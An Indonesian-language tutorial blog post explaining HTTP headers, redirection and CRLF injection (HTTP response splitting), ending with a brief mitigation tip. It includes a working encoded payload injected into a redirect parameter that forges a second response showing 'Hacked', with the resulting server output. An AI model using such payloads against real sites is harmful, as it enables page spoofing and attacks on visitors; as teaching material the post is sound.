HTTP Header Injection Menggunakan Metode CRLF Injection

HTTP Header Injection Menggunakan Metode CRLF Injection

CRLF Injection merupakan sebuah celah kemanan dari sebuah aplikasi web atau website yang terjadi disaat proses parsing data.

Apa itu CRLF Injection?

CR (Carriage Return) dan LF (Line Feed) adalah kombinasi karakter yang menandakan akhir dari sebuah baris.

Sebagai contoh disaat ada menulis pada sebuah text editor seperti notepad, atom dll kemudian menekan enter untuk memulai baris baru, maka sebenarnya pada akhir baris dari tulisan tersebut akan terselip kode CRLF secara otomatis yang degenerate oleh aplikasi text editor tersebut namun tidak nampak.

Pada tabel kode ASCII, CR dikonversi dengan nilai 13 untuk bentuk decimal dan dengan nilai D atau 0D untuk bentuk Hexadesimal. Untuk LF dikonversi dengan nilai 10 untuk bentuk decimal dan dengan nilai A atau 0A untuk bentuk Hexadesimal.

HTTP Header

HTTP header merupakah sebuah kode request kepada server dan informasi yang dikembalikan oleh server kepada klien.

Sebagai contoh disaat kita melakukan browsing menggunakan sebuah browser, maka browser secara otomatis mengenerate request kita tersebut menjadi kode yang dimengerti oleh server dan membaca data yang diterima dari server yang kemudian di tampilkan kepada kita dalam bentuk yang kita mengerti.

Contoh:

Kita asumsikan bahwa kita akan mengakses sebuah web www.example.com dengan menggunakan browser Mozilla, maka disaat kita ingin mengakses alamat www.example.com tersebut browser akan secara otomati mengenerate dan mengirimkan kode dalam bentuk seperti dibawah:

Kode ini disebut request:

Host: www.example.com[CRLF]
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0[CRLF]e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5[CRLF]
Accept-Encoding: gzip, deflate[CRLF]
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7[CRLF]
Connection: keep-alive[CRLF][CRLF]

Setelah browser mengirimkan kode seperti diatas maka server akan merespon permintaan tersebut dan mengirimkan hasil seperti kode dibawah:

Kode ini disebut dengan Response.

Date: Wed, 24 Aug 2011 17:48:46 GMT[CRLF]
Server: Apache/1.3.33 (Win32) PHP/5.0.2[CRLF]
X-Powered-By: PHP/5.0.2[CRLF]
Keep-Alive: timeout=15, max=100[CRLF]
Connection: Keep-Alive[CRLF]
Transfer-Encoding: chunked[CRLF]
Content-Type: text/html[CRLF][CRLF]

<HTML><BODY><TITLE>Welcome to Example.com</TITLE><body><b><font face='Lucida Console' size='7' color='maroon'>
<center>Welcome to Example.com
</center></font></BODY></HTML>

Namun kita tidak akan melihat tampilan seperti kode diatas pada browser kita, melainkan hanya akan melihat bentuk tampilan yang rapi yakni konten dari web yang direquest tadi.

Kira-kira kita akan melihat tampilan seperti gambar dibawah ini pada browser kita:

CRLF Injection Pada HTTP Header

Sampai disini saya harap anda mengerti bagaimana sebuah proses Request dan Response pada HTTP Header.

Redirection / Pengarahan ke Alamat Lain

Pada saat browsing ke sebuah alamat web anda mungkin pernah menemukan sebuah halaman yang mengarahkan anda ke halaman web lain dengan tulisan “Redirecting…” atau semacamnya.

Hal ini adalah proses switching atau perpindahan alamt web kepada sebuah alamat baru, hal itu disebut dengan Redirection.

Misal kita akan mengakses alamat www.example.com seperti sebelumnya, namun kali ini situs www.example.com akan mengarahkan kita atau akan redirect ke situs www.google.com

Contohnya seperti pada gambar dibawah:

CRLF Injection Pada HTTP Header

Pada contoh halaman diatas anda sedang mengakses alamat www.example.com namun setelah anda membukanya anda menemukan tulisan “Please wait a few seconds while redirect you to the main page” dimana dalam beberapa detik anda akan dirahkan ke halaman www.google.com.

Maka bentuk Response kode yang dikembalikan oleh server adalah seperti dibawah ini:

Kode Response dari server:

<HTML><BODY><TITLE> Welcome to Example.com</TITLE><META HTTP-EQUIV='Refresh'
CONTENT='5; URL=http://www.example.com/redir.php?url=http://www.google.com'><body><b><font face='Lucida Console' size='7' color='maroon'>
<center>Welcome to Example.com
</font></b><br><br><br><br>
<font color='red' size='4'>Please wait a few seconds while we redirect you to the main page</font>
</center></BODY></HTML>

Anda bisa memperhatikan kode response yang diberikan oleh server pada bagian tag <META> dimana disana disematkan alamat baru oleh server untuk tujuan redirection nya.

Selanjutnya request dari klien akan menerima kode lengkap redirect dari server yang memberitahukan bahwa halamn pindah dengan kode 302 (Temporary Moved).

Kode lengkapnya seperti dibawah ini:

GET /redir.php?url=http://www.google.com HTTP/1.1[CRLF]
Host: www.example.com[CRLF]
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0[CRLF]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8[CRLF]
Accept-Language: en-us,en;q=0.5[CRLF]
Accept-Encoding: gzip, deflate[CRLF]
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7[CRLF]
Connection: keep-alive[CRLF][CRLF]


HTTP/1.1 302 Found[CRLF]
Date: Tue, 23 Aug 2011 17:52:17 GMT[CRLF]
Server: Apache/1.3.33 (Win32) PHP/5.0.2[CRLF]
X-Powered-By: PHP/5.0.2[CRLF]
Location: http://www.google.com[CRLF] (User-input in Location)
Keep-Alive: timeout=15, max=99[CRLF]
Connection: Keep-Alive[CRLF]
Transfer-Encoding: chunked[CRLF]
Content-Type: text/html[CRLF]


GET / HTTP/1.1[CRLF]
Host: www.google.com[CRLF]
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0[CRLF]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8[CRLF]
Accept-Language: en-us,en;q=0.5[CRLF]
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive[CRLF][CRLF]

Penjelasan kode diatas pertama-tama browser akan mengirim request pada script redir.php, dimana script ini akan membantu me redirect dengan parameter url http://www.google.com.

Server merespon dengan kode 302 yang menandakan halaman pindah lokasi dan menyematkan url pada lokasi response header.

Dengan demikian, disaat browser kita membaca respon dari server dengan kode 302 beserta url baru yang disematkan untuk alamat redirectnya yakni www.google.com kemudian browser kita kembali mengirimkan kode GET kepada url www.google.com.

Kemudian situs google akan membalas dengan kode HTTP 200 OK yang artinya tersedia dan diijinkan beserta dengan konten dari alamat url google tersebut, yakni halaman utama dari web google.

Manipulasi Header dengan CRLF Injection

Dari contoh diatas sudah sangat jelas bahwa kita bisa memanipulasi kode header sebelum mengirim request kembali kepada server.

Mari kita lihat contoh melakukan injeksi HTTP Header dengan menyelipkan karakter CRLF.

Kita akan melakukan request pada situs yang meredirect kita seperti contoh diasat tadi.

Contoh kode request yang sudah dimanipulasi:

Perhatikan pada kode %0d%0a. Ingat ini merupakan kode CRLF dalam bentuk Hexadesimal.

GET /redir.php?url=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Ccenter%3E%3Ch1%3EHacked%3C/h1%3E%3C/center%3E HTTP/1.1[CRLF]
Host: www.example.com[CRLF]
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0[CRLF]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8[CRLF]
Accept-Language: en-us,en;q=0.5[CRLF]
Accept-Encoding: gzip, deflate[CRLF]
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7[CRLF]
Connection: keep-alive[CRLF][CRLF]

Setelah merngirim kore Request diatas maka server akan me respon dengan potongan kode dibawah ini:

HTTP/1.1 302 Found[CRLF]
Date: Tue, 23 Aug 2011 18:49:08 GMT[CRLF]
Server: Apache/1.3.33 (Win32) PHP/5.0.2[CRLF]
X-Powered-By: PHP/5.0.2[CRLF]
Location:[CRLF]
Content-Type: text/html[CRLF][CRLF]

HTTP/1.1 200 OK [CRLF] (New Response Header Created Using CRLF Injection, Response Splitting)
Content-Type: text/html[CRLF][CRLF]

<center><h1>Hacked</h1></center>[CRLF]
Keep-Alive: timeout=15, max=100[CRLF]
Connection: Keep-Alive[CRLF]
Transfer-Encoding: chunked[CRLF]
Content-Type: text/html[CRLF][CRLF]
0

Bisa diperhatikan bahwa kita sudah melakukan injeksi pada HTTP Header dengan menyelipkan Kata Hacked.

Sehingga server akan merespon dengan mengembalikan content dari web yang sudah kita manipulasi.

Maka pada browser kita akan melihat content dari web yang sudah kita lakukan HTTP header Injection tersebut akan memberikan tampilan content seperti dibawah ini:

CRLF Injection Pada HTTP Header

Sampai disini sudah bisa dilihat dengan jelas bahwa kita bias melakukan manipulasi pada HTTP Header Request untuk melakukan injeksi menggunaan CRLF.

Sebagai Catatan

Ada beberapa situs yang pernah menjadi korban kerentanan ini seperti Google, MSN, Amazon dan berbagai website terkemuka lainnya.

Sebuah solusi sederhana untuk mengatasi CRLF Injection adalah membersihkan karakter CRLF sebelum melewati header atau untuk mengkodekan data yang akan mencegah urutan CRLF memasuki header.

Sekian penjelasan bagaimana proses CRLF Injection pada HTTP Header bekerja.

Semoga tulisan ini bermanfaat.

Jangan lupa klik like dan share apabila anda merasa tulisan ini bermanfaat. Terima Kasih.